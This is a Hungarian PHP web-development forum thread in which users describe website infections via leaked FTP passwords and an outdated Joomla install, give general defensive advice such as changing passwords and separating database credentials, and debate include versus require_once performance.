DeltaPower: Megkérdezem a tárhely szolgáltatót, hátha ők tudják honnan jött a támadás.
Harrrr!!!!
-
-
Coyot
őstag
Nálunk régen egy másik kóddal de hasonló vírus jött be francia IP-ről. Ezért leírom nagyjából az mit tudott hátha segít valamit:
Minden index.php fájlba beillesztette a kis base64es img ből visszafejtett kódját.
FTP-n jött be, első próbálkozásra belépett, tehát tudta a hozzáférést. Minden bizonnyal kiküldött ftp hozzáféréseket szereztek meg, mert a szerveren futó több 100 rendszerből csak néhányat sikerült fertőzni és teljesen más fajta rendszereket (WP, Joomla, egyedi fejlesztések ).
Tehát mindenképp módosítsátok az összes FTP fiók jelszavát, mert hiába pucolod ki a kódot visszamásolja magát.
Ha ettől különböző támadást fogtál ki, oszd majd meg itt kérlek, hogy többet tudjunk a témáról
[ Szerkesztve ]
Má' nem
-
CSorBA
őstag
Szia!
Nekem kb 3 hete volt ilyenem (webfejlesztéses topikban pont leírtam).
cgi fájlok, php fájlok kódolva (encode, meg base64-esek), random php fájlok itt ott, meg js fájlok elejére ugyanaz beírva. htaccessel valami amcsi oldalra átirányítva minden.
Egy adott virtuális tárhelyen több weblap volt, különböző mappákban. Egyikben volt egy régi, 1.5-ös, nem frissített joomla. Na ott jöttek be. (azt frissítettem, ftp jelszavakat váltottam, most már jó minden.)
-
Rolly
veterán
kellene egy olyan funkciót csinálnom egy doki ismerősömnek, hogy az ügyfelek főként képeket (esetleg videókat) tölthetnek fel (a leleteiket) és nekem ezeket úgy kellene tárolnom, hogy kapjanak időbélyeget (de ne a szervertől, hanem valami hitelesített digitális aláírás szerűen) ezt hogy lehet megcsinálni? Azért fontos a feltöltés ideje, mert kutatáshoz kellene és mindent dokumentálni kell és bizonyítani a feltöltött adatokról hogy mikor lett feltöltve ... és honnan...
-
MODERÁTOR
Válaszoltak, szerintük ez vírusos themplate (joomla, wordpress stb) vagy esetleg kikerült az ftp
jelszavam.
Állításuk szerint a php kódban van a hiba.Ehhez viszont nem értek, a php kódot egy kedves és segítőkész fórumozó írta. Azt hiszem felkeresem ismét és kitalálunk rá valami megoldást.
Gyanítom azzal lesz a gond, hogy a kódban benne van a jelszó, ami az adatbázishoz való csatlakozáshoz szükséges. Ahogy olvasom ezt valami külön fájlban kellene tárolni ahhoz, hogy biztonságosabb legyen.Harrrr!!!!
-
Sk8erPeter
nagyúr
Drupalnál is "benne van a kódban" a felhasználónév-jelszó páros, egy settings.php nevű fájlban, és ez fizikailag nincs is "elrejtve", rooton kívülre helyezve (sites/default/settings.php), egy $databases tömbben vannak benne az adatok. Érdemes külön fájlra rakni a felhasználónév/jelszó párosokat, de ettől önmagában még nem lesz "biztonságos" az alkalmazásod; a kódban valahol úgyis include-olni kell (ld. Drupal is include-olja; vagy beolvasni a fájl tartalmát, majd bezárni, stb.). Amit linkeltél, ott arról beszél, hogy külön konfigurációs fájlba érdemes rakni ezt az adatot (Drupalnál a settings.php is az), aztán megoldani a fájl megfelelő védelmét a verziókövető rendszernél (hogy ne legyen nyoma a jelszavaknak), meg beállítani a konfigurációs fájlon a megfelelő jogosultságokat (pl.).
De ettől még az alkalmazás ezer helyen tartalmazhat biztonsági réseket, tehát mindenhol figyelni kell, hogy ne kerüljenek ki szenzitív adatok, figyelni kell az SQL Injectionre és még ezer más dologra is. Ennyi alapján csak általánosságokat lehet mondani, mint az előbb leírtak is.Sk8erPeter
-
Dave-11
tag
Melyiket érdemesebb használni: include_once vagy require_once, illetve van-e a kettő között különbség?
:D Semmi :D
-
válasz Dave-11 #12793 üzenetére
A require-t érdemesebb, "erősebb" hibát dob. (A hiba az hiba, include esetén nagyobb az esély, hogy figyelmetlenségből elhagyunk valamit.)
Plusz info, hogy a _once verziók sokkal lassabbak, csak akkor használd ezeket, ha tényleg van esély arra, hogy kétszer töltenél be valamit (láttam már class loader-ben is _once-t, facepalm).
-
CSorBA
őstag
válasz Peter Kiss #12795 üzenetére
Plusz info, hogy a _once verziók sokkal lassabbak
Ezt nem is tudtam, jól jött, köszi!
Bár itt azt mondják, hogy elhanyagolható a különbség: [link]
[ Szerkesztve ]
-
válasz CSorBA #12796 üzenetére
Az a baj, hogy szerintem 1-1 fájllal tesztelte ezeket (nem olvastam végig a hozzászólását). A nagyobb különbség akkor jön elő, ha pl. a class loader-ben _once van használva, és az adott kérés kiszolgálásához szükség van 100 osztály betöltésére; egészen biztos vagyok benne, hogy hashmap van használva a nyilvántartáshoz, hogy mi töltődött be, valószínűleg gyors is a hash, csak épp emiatt lesz egy csomó ütközés, ami egy adott elem betöltésének visszakövetését jól lelassítja.
Az, hogy most mennyivel lassabb, észrevehető-e egyáltalán, hasonló kérdés ahhoz, mint mikor egyszer megkérdezték, hogy PHP-val történő képmanipuláció után azonnal engedje el az erőforrásokat, vagy majd a PHP kitakarít maga után a script végén. Minden byte memória számít, mint ahogyan minden processzoridő.
-
cucka
addikt
válasz Peter Kiss #12797 üzenetére
Minden byte memória számít, mint ahogyan minden processzoridő.
Szerintem meg ami igazán számít, az a programozó ideje. Tehát kétszer is gondold meg, hogy tényleg megéri-e kevésbé jó minőségű, nehezebben érthető kódot írni és erre pazarolni az idődet pusztán azért, hogy megspórolj 5 ms-t oldalletöltésenként. -
Rolly
veterán
válasz Peter Kiss #12797 üzenetére
hol lehet ilyen optimalizálással kapcsolatos infókat beszerezni, hogy mi hogyan gyorsabb? Tartalomkezelő keretrendszeremben megérné ha optimalizálni tudnám főleg, hogy 100-200 weboldalt szolgál ki a szerverünkön...
-
lordjancso
senior tag
Ilyen nagyobb szabású összefoglaló cikk engem is érdekelne.
Párat én is tudok. Amit legutóbb olvastam, hogy az if feltételnél gyorsabban fut le a hosszabb (szebb) formában, mint a rövidített. Például ez hamarabb lefut:if( $x == 1 ) {
print "egy";
} else {
print "nem egy";
}A lassabb verzió pedig:
print ( $x == 1 ? "egy" : "nem egy" );
Meg állítólag az echo gyorsabb, mint a print.
Rip and cut and mutilate the innocent, his friends, and again and again and on and on.
-
Rolly
veterán
válasz lordjancso #12801 üzenetére
ilyen apróságokat itt ott találtam de együtt összefoglalva még nem
-
cucka
addikt
Ha 10 milliós oldalletöltésed van, akkor a teljesítmény problémák elsősorban az adatbázis oldalon fognak előjönni, esetleg rosszul implementált algoritmusoknál, vagy olyan helyzetekben, amikor hiányzik egy jó cache.
Ilyen baromságokkal, hogy most az include vagy a require_once gyorsabb, sehol, semmilyen környezetben nem érdemes foglalkozni. Ha ott tartasz, hogy ezen múlik a programod teljesítménye, akkor gyenge a vas, erősebbet kell venni és kész. Nem mellesleg a vas olcsóbb, mint fizetni hónapokig egy programozót, hogy ilyen, ezredmásodperc töredékét jelentő dolgokra vadásszon.[ Szerkesztve ]
Új hozzászólás Aktív témák
- Lenovo ThinkPad T490 - i5 8365u/16GB/256GB SSD/Windows/FHD/ Számla és Garancia HUN
- iPhone 12 Mini / 64GB / 90% akksi (1 éves) / Kék / Telekom / Szép
- ASRock RX 5700 XT Phantom Gaming D 8GB OC Videokártya!
- AKCIÓZVA! Lenovo ThinkBook 13s Fémházas Profi Ultrabook i5-10210U 8GB 256GB SSD FHD IPS WIN10
- SONY KD65AG8 165CM 4K SMART OLED ! PRÉMIUM ! AKCIÓ!
Állásajánlatok
Cég: Alpha Laptopszerviz Kft.
Város: Pécs
Cég: Ozeki Kft.
Város: Debrecen